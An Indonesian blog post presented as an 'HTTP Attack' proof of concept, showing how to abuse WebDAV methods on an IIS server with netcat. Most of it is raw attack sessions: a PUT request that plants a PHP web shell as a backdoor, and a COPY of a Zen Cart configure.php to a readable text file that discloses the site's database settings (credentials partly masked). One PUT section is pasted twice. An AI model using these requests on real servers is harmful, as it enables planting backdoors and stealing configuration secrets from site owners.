Selasa, 23 Oktober 2012

HTTP Attack (Proof Of Concept)


HTTP ATTACK adalah metode menyerang ke HTTP server (web server) dengan melalui HTTP METHOD yang di allow (bukan menyerang dari sisi web apps seperti PHP, ASP, Database, Dan lain lain).

nah kita harus tau dulu apa saja HTTP METHOD.

Code: (Select All)
GET, POST, OPTIONS, TRACE, PUT, DELETE, MOVE, COPY, dan lain lain.

untuk melakukan exploitasi pada metode-metode di atas di butuhkan tools yang bernama NetCat. mungkin bisa juga pakai TELNET, tapi disini kita pake NetCat ya.
di backtrack kalian semua udah terinstall netcat kan ? oke langsung ke prakteknya aja.

pertama fungsi metode http OPTIONS .
sebenarnya fungsi ini tidak berbahaya bagi web server, namun justru metode http ini lah yang membeberkan fungsi-fungsi HTTP METHOD yang di allow. wele wele, langsung aja deh caranya :

Code: (Select All)
root@bt:~$ nc -vv sasaran.com 80
DNS fwd/rev mismatch: sasaran.com != 5.subnet222-124-215.static.astinet.telkom.net.id
sasaran.com [222.1.2.3] 80 (www) open
OPTIONS / HTTP/1.1
Host: sasaran.com

HTTP/1.1 200 OK
Date: Thu, 19 Jan 2012 09:02:44 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
MS-Author-Via: DAV
Content-Length: 0
Accept-Ranges: none
DASL: <DAV:sql>
DAV: 1, 2
Public: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
Allow: OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK
Cache-Control: private


sent 53, rcvd 406
root@bt:~$

wops banyak banget yang di allow.
next ke metode berikutnya.

PUT
metode ini sangatlah berbahaya, PUT mengizinkan browser untuk menulis file pada sebuah web server! , jadi dengan kata lain kita bisa menanam backdoor pada sebuah web server tersebut!
langsung aja praktek

Code: (Select All)
root@bt:~$ nc -vv sasaran.com 80
DNS fwd/rev mismatch: sasaran.com != 5.subnet222-124-215.static.astinet.telkom.net.id
sasaran.com [222.1.2.3] 80 (www) open
PUT /tes.txt HTTP/1.1
Host: sasaran.com
Content-Length: 32

<pre><?php system($_GET[cmd]) ?>


HTTP/1.1 201 File saved
Content-Length: 1458
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Thu, 19 Jan 2012 09:12:53 GMT

PUT

methode ini yang sangat berbahaya. "PUT" mengijinkan browser menulis file ke server. Pada awalnya method ini dibuat dengan niat baik nan mulia. Namun penggunaanya yang cukup menyenangkan, membuat attacker juga ikut bergembira. Untuk menuliska file ke server juga tidak butuh teknik yang sangat tinggi, justru mudah dan simple.

Code: (Select All)
root@bt:~$ nc -vv sasaran.com 80
DNS fwd/rev mismatch: sasaran.com != 5.subnet222-124-215.static.astinet.telkom.net.id
sasaran.com [222.1.2.3] 80 (www) open
PUT /tes.txt HTTP/1.1
Host: sasaran.com
Content-Length: 32

<pre><?php system($_GET[cmd]) ?>


HTTP/1.1 201 File saved
Content-Length: 1458
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Thu, 19 Jan 2012 09:12:53 GMT

perhatikan, saya membuat file /tes.txt. ini berarti file yang saya buat adalah sasaran.com/tes.txt dengan isi
dengan demikian, kita bisa saja mengirimkan sebuah backdoor ke server secara mudah dan instan. yang perlu di perhatikan adalah bahwa Content-Length harus sama dengan panjang karakter text yang akan di tulis ke server. Dan tentu saja direktori harus permission 777 (writeable).

DELETE

perintah sederhana untuk melakukan penghapusan sebuah file di server.

COPY

perintah untuk menggandakan sebuah file ke nama file yang baru. Hal ini cukup berguna jika kita membutuhkan isi dari sebuah file config.php, dimana config.php tidak akan bisa dibuka di browser karena server akan menerjemahkanya trlebih dahulu sehingga config tidak terbaca. So, dengan command COPY saya menggandakan config.php menjadi config.txt sehingga config.txt terbaca jelas.

Code: (Select All)
root@bt:~$ nc -vv sasaran.com 80
DNS fwd/rev mismatch: sasaran.com != 5.subnet222-124-215.static.astinet.telkom.net.id
sasaran.com [222.1.2.3] 80 (www) open
COPY /includes/configure.php /config.txt HTTP/1.1
Host: sasaran.com

HTTP/1.1 200 OK
Content-Length: 1458
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Thu, 19 Jan 2012 09:12:53 GMT

ok, file telah di copy dengan nama config.txt, tinggal membaca saja.

Code: (Select All)
root@bt:~$ nc -vv sasaran.com 80
DNS fwd/rev mismatch: sasaran.com != 5.subnet222-124-215.static.astinet.telkom.net.id
sasaran.com [222.1.2.3] 80 (www) open
GET /config.txt HTTP/1.1
Host: sasaran.com

HTTP/1.1 200 OK
Date: Thu, 19 Jan 2012 09:30:18 GMT
Server: Microsoft-IIS/6.0
Last-Modified: Thu, 19 Jan 2012 09:29:20 GMT
Accept-Ranges: bytes
Content-Length: 3214
Content-Type: text/plain

<?php
/**
* @package Configuration Settings circa 1.3.8
* @copyright Copyright 2003-2007 Zen Cart Development Team
* @copyright Portions Copyright 2003 osCommerce
* @license http://www.zen-cart.com/license/2_0.txt GNU Public License V2.0
*/


/*************** NOTE: This file is similar, but DIFFERENT from the "admin" version of configure.php. ***********/
/***************       The 2 files should be kept separate and not used to overwrite each other.      ***********/

// Define the webserver and path parameters
  // HTTP_SERVER is your Main webserver: eg-http://www.your_domain.com
  // HTTPS_SERVER is your Secure webserver: eg-https://www.your_domain.com
  define('HTTP_SERVER', 'http://www.sasaran.com');
  define('HTTPS_SERVER', 'https://www.sasaran.com');

  // Use secure webserver for checkout procedure?
  define('ENABLE_SSL', 'false');

// NOTE: be sure to leave the trailing '/' at the end of these lines if you make changes!
// * DIR_WS_* = Webserver directories (virtual/URL)
  // these paths are relative to top of your webspace ... (ie: under the public_html or httpdocs folder)
  define('DIR_WS_CATALOG', '/');
  define('DIR_WS_HTTPS_CATALOG', '/');

  define('DIR_WS_IMAGES', 'images/');
  define('DIR_WS_INCLUDES', 'includes/');
  define('DIR_WS_FUNCTIONS', DIR_WS_INCLUDES . 'functions/');
  define('DIR_WS_CLASSES', DIR_WS_INCLUDES . 'classes/');
  define('DIR_WS_MODULES', DIR_WS_INCLUDES . 'modules/');
  define('DIR_WS_LANGUAGES', DIR_WS_INCLUDES . 'languages/');
  define('DIR_WS_DOWNLOAD_PUBLIC', DIR_WS_CATALOG . 'pub/');
  define('DIR_WS_TEMPLATES', DIR_WS_INCLUDES . 'templates/');

  define('DIR_WS_PHPBB', '/');

// * DIR_FS_* = Filesystem directories (local/physical)
  //the following path is a COMPLETE path to your Zen Cart files. eg: /var/www/vhost/accountname/public_html/store/
  define('DIR_FS_CATALOG', '/');

  define('DIR_FS_DOWNLOAD', DIR_FS_CATALOG . 'download/');
  define('DIR_FS_DOWNLOAD_PUBLIC', DIR_FS_CATALOG . 'pub/');
  define('DIR_WS_UPLOADS', DIR_WS_IMAGES . 'uploads/');
  define('DIR_FS_UPLOADS', DIR_FS_CATALOG . DIR_WS_UPLOADS);
  define('DIR_FS_EMAIL_TEMPLATES', DIR_FS_CATALOG . 'email/');

// define our database connection
  define('DB_TYPE', 'mysql');
  define('DB_PREFIX', 'dat_');
  define('DB_SERVER', 'localhost');
  define('DB_SERVER_USERNAME', '***');
  define('DB_SERVER_PASSWORD', '******************4');
  define('DB_DATABASE', 'dat_*');
  define('USE_PCONNECT', 'false');
  define('STORE_SESSIONS', 'db');
  // for STORE_SESSIONS,
use 'db' for best support, or '' for file-based storage

  // The next 2 "defines" are for SQL cache support.
  // For SQL_CACHE_METHOD, you can select from:  none, database, or file
  // If you choose "file", then you need to set the DIR_FS_SQL_CACHE to a directory where your apache
  // or webserver user has write privileges (chmod 666 or 777). We recommend using the "cache" folder inside the Zen Cart folder
  // ie: /path/to/your/webspace/public_html/zen/cache   -- leave no trailing slash 
  define('SQL_CACHE_METHOD', 'database');
  define('DIR_FS_SQL_CACHE', '/cache');

// EOF

^C sent 56, rcvd 3402
root@bt:~$

UPS! Code disclosured!

Tidak ada komentar:

Posting Komentar